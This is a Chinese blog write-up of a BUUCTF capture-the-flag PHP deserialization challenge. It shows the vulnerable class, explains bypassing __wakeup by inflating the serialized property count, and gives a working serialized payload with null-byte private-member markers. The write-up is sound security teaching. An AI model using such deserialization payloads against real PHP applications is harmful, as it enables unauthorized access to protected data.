BUUCTF-[极客大挑战 2019]PHP1_[极客大挑战 2019]php 1-CSDN博客

<?php
include 'flag.php';
 
 
error_reporting(0);
 
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
 
    function __wakeup(){
        $this->username = 'guest';
    }
 
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
 
            
        }
    }
}
?>

按照常规思路，寻找起点、终点、跳板。

起点：_wakeup函数中是$this->username='guest',是给赋值；

终点：很直接是echo $flag,在__destruct中，username==='admin' 和 password==100。需要执行完成后，销毁处理时候调用。

反序列化过程中发现起点在终点之前调用，反而是捣乱的，那我们就不需要自动执行__wakeup，绕过的方法，设置的字段数量比实际字段大的值。

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
    }
 
    echo serialize(new Name());
?>


O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
浏览器中复制会将空格不显示，payload应为如下
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

其实简单的很简单，难得也很难，慢慢学习就好，没必要焦虑，觉得很难，纯粹一个兴趣爱好就行。放下无畏的消耗。